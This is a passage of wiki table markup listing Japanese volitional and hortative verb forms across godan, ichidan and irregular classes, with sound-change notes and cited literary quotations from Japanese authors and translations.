|script-title=ja:オペラにおけるピアノ伴奏法について ―モーツァルト歌劇『コシ・ファン・トゥッテ』を例に―|last=Watanabe|first=Osami|script-journal=ja:教職・教育実践研究|journal=Bulletin of the Teacher Training Research Center Attached to the Faculty of Education, Art and Science|publisher=Yamagata University|number=11 |year=2016}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|下さ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably give|下さらん|kudasaran}}<br>{{#invoke:nihongo|nihongo_krt||下さらむ|kudasaramu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|lend|貸す|kasu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|そ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably lend|貸そう|kasō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably lend|貸さん|kasan}}<br>{{#invoke:nihongo|nihongo_krt||貸さむ|kasamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|love|愛す|aisu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|そ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛そう|aisō}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その上僕は妻を愛さうと思つてゐても、妻の方ではどうしても僕を愛す事が出來ないのだ、いやこれも事によると、<ruby>抑<rp>(</rp><rt>そも〱</rt><rp>)</rp></ruby>僕の<ruby>愛<rp>(</rp><rt>アムウル</rt><rp>)</rp></ruby>なるものが、相手にそれだけの熱を起させ得ない程、貧弱なものだつたかも知れない。|script-chapter=ja:開化の良人|url=https://dl.ndl.go.jp/pid/1663982/1/41|pages=73–74|script-title=ja:芥川龍之介全集|volume=3 |authorlink=Ryūnosuke Akutagawa|first=Ryūnosuke|last=Akutagawa|date=10 July 1956|location=Chiyoda, Tokyo|publisher=Iwanami Shoten}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|愛}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably love|愛さん|aisan}}<br>{{#invoke:nihongo|nihongo_krt||愛さむ|aisamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|reach|達す|tassu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|そ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達そう|tassō}}<ref name=yamashita-2023>{{#invoke:cite|journal|lang=ja|url=https://www.coto.ac.jp/coto/images/2023/%E5%B0%82%E9%96%80%E5%AD%A6%E6%A0%A1%E6%B9%96%E6%9D%B1%E3%82%AB%E3%83%AC%E3%83%83%E3%82%B8%E6%97%A5%E6%9C%AC%E8%AA%9E%E6%95%99%E8%82%B2%E7%A0%94%E7%A9%B6%E5%AE%A4%E7%B4%80%E8%A6%812023_%E7%AC%AC3%E5%8F%B7.pdf|page=48 |script-journal=ja:日本語教育研究室紀要 2023|publisher=Coto College|date=December 2023|script-title=ja:「達します(たっします)」は何グループか|last=Yamashita|first=Akira}}</ref><ref>{{#invoke:cite|web|lang=ja|script-quote=ja:まじ? という戸惑いの色が双方に見られ、しかしそのままの表情でふたりの距離はゼロからマイナスへ達す。達そうとする。|url=https://www.pixiv.net/novel/show.php?id=22809666 |date=18 August 2024|script-title=ja:MIB 後編|author={{#invoke:lang|lang|ja|煙 亜月}}|website=pixiv}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|さ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達さん|tassan}}<br>{{#invoke:nihongo|nihongo_krt||達さむ|tassamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|write|書く|kaku}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably write|書こう|kakō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|書}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|か}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably write|書かん|kakan}}<br>{{#invoke:nihongo|nihongo_krt||書かむ|kakamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|smell|嗅ぐ|kagu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぐ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ご}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably smell|嗅ごう|kagō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|嗅}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|が}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably smell|嗅がん|kagan}}<br>{{#invoke:nihongo|nihongo_krt||嗅がむ|kagamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|call|呼ぶ|yobu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぶ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぼ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably call|呼ぼう|yobō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|呼}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ば}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably call|呼ばん|yoban}}<br>{{#invoke:nihongo|nihongo_krt||呼ばむ|yobamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|read|読む|yomu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|む}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|も}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably read|読もう|yomō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|読}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ま}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably read|読まん|yoman}}<br>{{#invoke:nihongo|nihongo_krt||読まむ|yomamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|die|死ぬ|shinu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぬ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|の}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably die|死のう|shinō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|死}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|な}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably die|死なん|shinan}}<br>{{#invoke:nihongo|nihongo_krt||死なむ|shinamu}}
|-
! colspan=6 style=text-align:left | ''Ichidan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|look|見る|miru}}
| style=text-align:right | {{#invoke:lang|lang|ja|見}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|見}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably look|見よう|miyō}}<br>{{#invoke:nihongo|nihongo_krt||見ん|min}}<br>{{#invoke:nihongo|nihongo_krt||見む|mimu}}
| rowspan=5 | {{ipa|/imu → iũ → juː → ijoː/<br>/imu → iN/}}
|-
| {{#invoke:nihongo|nihongo_krt|reach|達しる|tasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|達し}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|達し}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably reach|達しよう|tasshiyō}}<br>{{#invoke:nihongo|nihongo_krt||達しん|tasshin}}<br>{{#invoke:nihongo|nihongo_krt||達しむ|tasshimu}}
|-
| {{#invoke:nihongo|nihongo_krt|guess|察しる|sasshiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察し}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察し}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably guess|察しよう|sasshiyō}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その言葉から察しるところ、彼はフォイエルバッハを硏究する必要があるか、それとも知らずに濟まして構はないかといふ問題を、自分で自分にはつきりさせようと努めてゐるらしかつた。[…]と同時に、それは彼女を責の詰つて、その氣持ちを察しようともしない、そんな風に感じられた……|pages=83, 168|url=https://dl.ndl.go.jp/pid/1227260/1/88|script-title=ja:その前夜|first=Ivan Sergeyevich|last=Turgenev|authorlink=Ivan Turgenev|translator-last=Yonekawa|translator-first=Masao|series={{#invoke:lang|lang|ja|世界名作文庫}}|volume=321 |publisher=Shunyodo|title=Накануне|date=10 October 1932|location=[[Nihonbashi]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しん|sasshin}}<br>{{#invoke:nihongo|nihongo_krt||察しむ|sasshimu}}
|-
| {{#invoke:nihongo|nihongo_krt|believe|信じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信じ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信じ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably believe|信じよう|shinjiyō}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:自分で信じようと思ふから信じるのだ。|page=256 |script-chapter=ja:一九〇六年|url=https://dl.ndl.go.jp/pid/1693948/1/130|script-title=ja:ルナール日記|title=Le journal de Jules Renard|volume=6 |first=Pierre-Jules|last=Renard|authorlink=Jules Renard|translator-link=Kunio Kishida|translator-first=Kunio|translator-last=Kishida|publisher=Shinchosha|date=10 February 1955|location=[[Shinjuku]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||信じむ|shinjimu}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進じる|shinjiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進じ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進じ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably give|進じよう|shinjiyō}}<br>{{#invoke:nihongo|nihongo_krt||進じん|shinjin}}<br>{{#invoke:nihongo|nihongo_krt||進じむ|shinjimu}}
|-
| {{#invoke:nihongo|nihongo_krt|give|進ぜる|shinzeru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進ぜ}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進ぜ}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably give|進ぜよう|shinzeyō}}<ref name=izumi-1941/><ref name=izumi-1942>{{#invoke:cite|book|lang=ja|url=https://dl.ndl.go.jp/pid/1682832/1/237|pages=122–123, 125, 345, 391, 464|script-quote=ja:かゝる<ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby><ruby>臺<rp>(</rp><rt>たい</rt><rp>)</rp></ruby>の<ruby>如<rp>(</rp><rt>ごと</rt><rp>)</rp></ruby>き<ruby>背負行<rp>(</rp><rt>しよつて</rt><rp>)</rp></ruby>かれまたすくらゐ<ruby>輕<rp>(</rp><rt>かる</rt><rp>)</rp></ruby>うして<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜよう。[…]<ruby>忽<rp>(</rp><rt>こつ</rt><rp>)</rp></ruby><ruby>然<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby>として<ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby><ruby>貼<rp>(</rp><rt>はり</rt><rp>)</rp></ruby>のして<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜる。[…]<ruby>根<rp>(</rp><rt>ね</rt><rp>)</rp></ruby>を<ruby>切<rp>(</rp><rt>き</rt><rp>)</rp></ruby>つて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜよう。[…]<ruby>主<rp>(</rp><rt>ぬし</rt><rp>)</rp></ruby>が<ruby>頭<rp>(</rp><rt>かしら</rt><rp>)</rp></ruby>に<ruby>載<rp>(</rp><rt>の</rt><rp>)</rp></ruby>せて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜう。[…]<ruby>然<rp>(</rp><rt>さ</rt><rp>)</rp></ruby>らば<ruby>緩<rp>(</rp><rt>ゆる</rt><rp>)</rp></ruby>めて<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ぜよう。[…]コナ<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>、<ruby>主<rp>(</rp><rt>ぬし</rt><rp>)</rp></ruby>に<ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby><ruby>口<rp>(</rp><rt>くち</rt><rp>)</rp></ruby><ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>じよう。|script-title=ja:鏡花全集|date=31 August 1942|last=Izumi|first=Kyōtarō|authorlink=Kyōka Izumi|location=[[Kanda, Tokyo]]|publisher=Iwanami Shoten}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:回向をして進ぜよう、回向をして進ぜるよ!|page=92 |script-chapter=ja:Ⅲ 信心の深い女たち|url=https://dl.ndl.go.jp/pid/1708832/1/53|script-title=ja:カラマゾフの兄弟|volume=1 |date=25 October 1948|first=Fyodor Mikhailovich|last=Dostoevsky|authorlink=Fyodor Dostoevsky|title=Братья Карамазовы|translator-first=Shōzaburō|translator-last=Nakayama|publisher=Zenkoku Shobō|location=[[Nakagyō-ku, Kyoto|Nakagyō, Kyoto]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進ぜん|shinzen}}<br>{{#invoke:nihongo|nihongo_krt||進ぜむ|shinzemu}}
| rowspan=2 | {{ipa|/emu → eũ → joː → ejoː/<br>/emu → eN/}}
|-
| {{#invoke:nihongo|nihongo_krt|exit|出る|deru}}
| style=text-align:right | {{#invoke:lang|lang|ja|出}}'''<span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|出}}
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう<br>ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably exit|出よう|deyō}}<br>{{#invoke:nihongo|nihongo_krt||出ん|den}}<br>{{#invoke:nihongo|nihongo_krt||出む|demu}}
|-
! colspan=6 style=text-align:left | Irregular verbs
|-
| rowspan=3 | {{#invoke:nihongo|nihongo_krt|do|する|suru}}
| rowspan=3 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|よう}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably do|しよう|shiyō}}
| rowspan=22 | {{ipa|/semu → seũ → sjoː → sijoː/<br>/semu → seN/}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably do|しょう|shō}}<ref name=tanizaki-1934>{{#invoke:cite|book|lang=ja|script-quote=ja:彼の假名使ひの正確さについて、私が覺えてをります二三の例を申しますなら、「感心しない」「記憶しない」のやうな場合に、必ず鷗外はサ行變格の動詞の規則に從つて「感心<span style=text-decoration:overline>せ</span>ない」「記憶<span style=text-decoration:overline>せ</span>ない」と書きました。又、從來は「勉强しやう」「運動しやう」などと書いた場合に、鷗外はこれを「勉强せう」「運動せう」の「せう」が伸びたものと見て、「勉强し<span style=text-decoration:overline>よ</span>う」「運動し<span style=text-decoration:overline>よ</span>う」と書きました。又、「向ふの丘」「向ふの川」と書いた場合に、「向ひの丘」「向ひの川」の「ひ」の音便と見て、「向<span style=text-decoration:overline>う</span>の丘」「向<span style=text-decoration:overline>う</span>の川」と書きました。|trans-quote=As for his accuracy in using kana, to give two or three examples that I remember, in such cases as {{#invoke:lang|lang|ja|「感心しない」}}, {{#invoke:lang|lang|ja|「記憶しない」}}, etc [[Mori Ōgai|Ōgai]] always followed the rules of ''s''-[[Japanese irregular verbs|irregular verbs]] and wrote {{#invoke:lang|lang|ja|「感心<u>せ</u>ない」}}, {{#invoke:lang|lang|ja|「記憶<u>せ</u>ない」}}, etc. In such cases where convention dictates {{#invoke:lang|lang|ja|「勉强しやう」}}, {{#invoke:lang|lang|ja|「運動しやう」}}, etc, Ōgai saw them as having a lengthened {{#invoke:lang|lang|ja|「せう」}} as in {{#invoke:lang|lang|ja|「勉强せう」}}, {{#invoke:lang|lang|ja|「運動せう」}}, etc and wrote {{#invoke:lang|lang|ja|「勉强し<u>よ</u>う」}}, {{#invoke:lang|lang|ja|「運動し<u>よ</u>う」}}, etc. And in such cases as {{#invoke:lang|lang|ja|「向ふの丘」}}, {{#invoke:lang|lang|ja|「向ふの川」}}, etc, he saw them as having a [[Onbin|euphonic]] {{#invoke:lang|lang|ja|「ひ」}} as in {{#invoke:lang|lang|ja|「向ひの丘」}}, {{#invoke:lang|lang|ja|「向ひの川」}}, etc and wrote {{#invoke:lang|lang|ja|「向<u>う</u>の丘」}}, {{#invoke:lang|lang|ja|「向<u>う</u>の川」}}, etc.|page=216|script-chapter=ja:〇 體裁について|trans-chapter=〇 On Formatting|url=https://dl.ndl.go.jp/pid/1235974/1/119|script-title=ja:文章讀本|trans-title=A Guide to Composition|authorlink=Jun'ichirō Tanizaki|first=Jun'ichirō|last=Tanizaki|publisher=Chūō Kōron Sha|date=5 November 1934|location=[[Kōjimachi]], Tokyo}}</ref><ref name=takahama-1949>{{#invoke:cite|book|lang=ja|script-quote=ja:細君は手を出して五十嵐の口に蓋をせうとしたがもう及ばなかつた。[…]それから同じく其鞄の中に何かゞくるんであつたあまり皺の寄つてをらぬ一枚の古新聞を取り出してこれを其疊紙の心にせうと決心した。[…]暫くの間三藏は俳句も詰らぬと思つて學校の課業の方を勉强せうと思ひ立つた。[…]冬季休業中に脫稿せうと思つて筆を執つたが例の如く澁滯して例の如く三回限りで筆を投げた。[…]李堂は十風の堕落を歎息してどうかしてそれを激勵せうとして極端な忠告をも試みた。[…]どうせうかと今一度躊躇する。[…]彼は一も二も無く兄の意見に賛同せうと思つた。[…]春三郞の要求した程は難かしいが責めて半額だけはどうかせうとあつた。[…]余は二人の<ruby>交情<rp>(</rp><rt>なか</rt><rp>)</rp></ruby>を邪魔せうなどゝいふ考へは無い。|pages=40, 45, 59–60, 86, 118, 123, 165, 230, 293|script-title=ja:定本 虛子全集|volume=9|date=20 January 1949|authorlink=Kyoshi Takahama|first=Kyoshi|last=Takahama|publisher=Sogensha|location=[[Kita-ku, Osaka|Kita, Osaka]]}}</ref><ref name=nakayama-1953>{{#invoke:cite|book|lang=ja|script-quote=ja:「着更えをしょうと思って?」<br>[…]彼は落ちつき払っていた。何かしら、危険な、しかも避けえられないことをしょうと決心した人のように、心臓の鼓動もおだやかなものであった。[…]やがて、永い永い歳月を徒らなる遊び仲間であった故人に、最後の告別をしょうとしてやって来た夥しい会葬者たちが、列をなして進んだ。|quote=— Одеваться.<br>[…] Он был спокоен; сердце его билось ровно, как у человека, решившегося на что-нибудь опасное, но необходимое. […] Потом двинулись и многочисленные гости, приехавшие поклониться той, которая так давно была участницею в их суетных увеселениях.|trans-quote="I was going to dress?"<br>[…] He was calm. Somehow, his heart beat evenly, like that of a man determined to do something dangerous yet inevitable. […] Promptly then, the numerous mourners, who had come to pay their last respects to the deceased who had long, long been the mate in their vain play, filed forwards.|pp=161, 176, 189|url=https://dl.ndl.go.jp/pid/1691471/1/83|script-chapter=ja:スペードの女王|trans-chapter=[[The Queen of Spades (story)|The Queen of Spades]]|chapter=Пиковая дама|script-title=ja:スペードの女王・靑銅の騎士 他三篇|trans-title=The Queen of Spades, [[The Bronze Horseman (poem)|The Bronze Horseman]], and three other stories|authorlink=Alexander Pushkin|first=Alexander Sergeyevich|last=Pushkin|translator-first=Shōzaburō|translator-last=Nakayama|publisher=Sogensha|series={{#invoke:lang|lang|ja|創元文庫}}|date=28 February 1953|location=[[Chūō, Tokyo]]; [[Kita-ku, Osaka|Kita, Osaka]]}}</ref><ref name=tsubouchi-1957-romeo-and-juliet-hortatives>{{#invoke:cite|book|lang=ja|script-quote=ja:‥‥何やら言うてゐる。いや、何も言うてはゐぬ。言はいでもかまはぬ、あの目が物を言ふ。あの目へ返答をせう。‥‥あゝ、こりゃあんまり厚顏しかった。俺に言うてゐるのでは無い。[…]<br> 此時、奧にて乳母の聲にて呼ぶ。<br>奧で何やら、かしましい聲がする。戀しいお方、さよなら‥‥あい〱、乳母、今すぐに! ‥‥モンタギューどの、必ず<ruby>渝<rp>(</rp><rt>かは</rt><rp>)</rp></ruby>らず。ちょと待ってゝ下され、すぐ又戾って來う。<br>[…]<br>'''ベンヺ''' いや、しかけられたからは、立合はうと返事をせう。<br>[…]さ、<ruby>予<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>は食事をせう。<ruby>貴孃<rp>(</rp><rt>こなた</rt><rp>)</rp></ruby>は<ruby>庵<rp>(</rp><rt>あん</rt><rp>)</rp></ruby><ruby>室<rp>(</rp><rt>じつ</rt><rp>)</rp></ruby>へ<ruby>速<rp>(</rp><rt>はや</rt><rp>)</rp></ruby>うゆかしゃれ。<br>[…]<br>'''マーキュ''' 奴ぢゃ? へん、ロミオが<ruby>足下<rp>(</rp><rt>おぬし</rt><rp>)</rp></ruby>の<ruby>奴<rp>(</rp><rt>やつこ</rt><rp>)</rp></ruby>なものか? 何時<ruby>足下<rp>(</rp><rt>おぬし</rt><rp>)</rp></ruby>が<ruby>給服<rp>(</rp><rt>しきせ</rt><rp>)</rp></ruby>を着せた? はて、先に立って<ruby>決鬪場<rp>(</rp><rt>ばしよ</rt><rp>)</rp></ruby>へ行きゃれ、ロミオも<ruby>隨行<rp>(</rp><rt>とも</rt><rp>)</rp></ruby>をせう。それが<ruby>奴<rp>(</rp><rt>やつこ</rt><rp>)</rp></ruby>の役なら、ロミオは<ruby>足下<rp>(</rp><rt>おぬし</rt><rp>)</rp></ruby>樣のお<ruby>抱<rp>(</rp><rt>かゝへ</rt><rp>)</rp></ruby><ruby>奴<rp>(</rp><rt>やつこ</rt><rp>)</rp></ruby>ぢゃ。<br>[…]<br>'''ヂュリ''' 驅けよ<ruby>速<rp>(</rp><rt>はや</rt><rp>)</rp></ruby>う、火の脚の若駒よ、日の神の宿ります今宵の宿へ。フェーエトンのやうな<ruby>御<rp>(</rp><rt>ぎよ</rt><rp>)</rp></ruby><ruby>者<rp>(</rp><rt>しや</rt><rp>)</rp></ruby>がゐたなら、西へ〱と鞭をあてゝ、すぐにも夜を<ruby>將<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>れて來うもの、曇った夜を。[…]<br>'''乳母''' <ruby>速<rp>(</rp><rt>はや</rt><rp>)</rp></ruby>う居間へゆかしゃれ。お前を喜ばす<ruby>眞實<rp>(</rp><rt>ほん〲</rt><rp>)</rp></ruby>のロミオを搜して來う。其<ruby>居<rp>(</rp><rt>ゐ</rt><rp>)</rp></ruby><ruby>處<rp>(</rp><rt>どこ</rt><rp>)</rp></ruby>は知ってをる。これの、こちのロミオどのは、今宵こゝへ來やしゃる筈ぢゃ。わしが<ruby>往<rp>(</rp><rt>い</rt><rp>)</rp></ruby>て呼んで來う。はて、ロレンスさまの<ruby>庵<rp>(</rp><rt>あん</rt><rp>)</rp></ruby><ruby>室<rp>(</rp><rt>じつ</rt><rp>)</rp></ruby>に、ロミオは隱れてござらっしゃります。<br>[…]我子ならば親友の許へ遣る、さなくば首を縊らうと、乞食をせうと、餓ゑて<ruby>途<rp>(</rp><rt>の</rt><rp>)</rp></ruby><ruby>上<rp>(</rp><rt>たれ</rt><rp>)</rp></ruby><ruby>死<rp>(</rp><rt>じに</rt><rp>)</rp></ruby>をしをらうとまゝぢゃ、誓文、我子とは思はぬわい、また何一つたりと、<ruby>汝<rp>(</rp><rt>おのれ</rt><rp>)</rp></ruby>には<ruby>與<rp>(</rp><rt>く</rt><rp>)</rp></ruby>れまいぞよ。よいか、二言は無いぞよ。<ruby>誓<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>言<rp>(</rp><rt>ごん</rt><rp>)</rp></ruby>は破らぬぞよ。<br>[…]<br>'''ヂュリ''' おゝ、パリスどのと祝言をせう程なら、あの塔の上から飛んで見い、<ruby>山<rp>(</rp><rt>やま</rt><rp>)</rp></ruby><ruby>賊<rp>(</rp><rt>だち</rt><rp>)</rp></ruby>の<ruby>跳梁<rp>(</rp><rt>はびこ</rt><rp>)</rp></ruby>る夜道を行け、蛇の棲む<ruby>叢<rp>(</rp><rt>くさむら</rt><rp>)</rp></ruby>に身を潛めいとも言はっしゃれ。[…]<br>'''カピ長''' 